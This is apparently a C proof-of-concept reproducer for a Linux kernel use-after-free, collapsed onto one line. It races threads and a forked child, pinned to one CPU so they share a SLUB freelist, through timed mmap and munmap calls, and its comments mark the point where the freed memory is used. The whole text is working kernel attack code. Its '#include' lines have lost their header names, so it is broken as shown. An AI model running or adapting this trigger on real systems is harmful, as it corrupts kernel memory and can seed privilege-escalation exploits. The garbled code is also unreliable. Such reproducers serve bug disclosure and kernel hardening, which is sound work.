#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) static void *bugvma; int wake_child_fd = -1; static void *thread_fn(void *dummy) { sleep(1); // PRE-LAUNCH sleep(1); // T1 SYSCHK(munmap(bugvma, 0x1000)); SYSCHK(eventfd_write(wake_child_fd, 1)); usleep(500*1000); return NULL; } int main(void) { setbuf(stdout, NULL); wake_child_fd = SYSCHK(eventfd(0, 0)); // pin all to same core to ensure we use the same SLUB freelist cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset); SYSCHK(sched_setaffinity(0, sizeof(cpuset), &cpuset)); pid_t child = SYSCHK(fork()); if (child == 0) { eventfd_t dummyval; SYSCHK(eventfd_read(wake_child_fd, &dummyval)); // T1 SYSCHK(prctl(PR_SET_NAME, "WRITER-PREP")); void *realloc = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)); usleep(1500*1000); // T3 printf("B1: begin munmap\n"); SYSCHK(prctl(PR_SET_NAME, "WRITER")); SYSCHK(munmap(realloc, 0x1000)); // continues at T5 SYSCHK(prctl(PR_SET_NAME, "WRITER-ENDED")); printf("B1: munmap done\n"); exit(0); } pthread_t thread; if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, "pthread_create"); sleep(1); // PRE-LAUNCH bugvma = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)); SYSCHK(prctl(PR_SET_NAME, "TEST")); // T0 *(volatile char *)bugvma; // increment at T2; decrement at T4; UAF at T6 SYSCHK(prctl(PR_SET_NAME, "TEST-ENDED")); }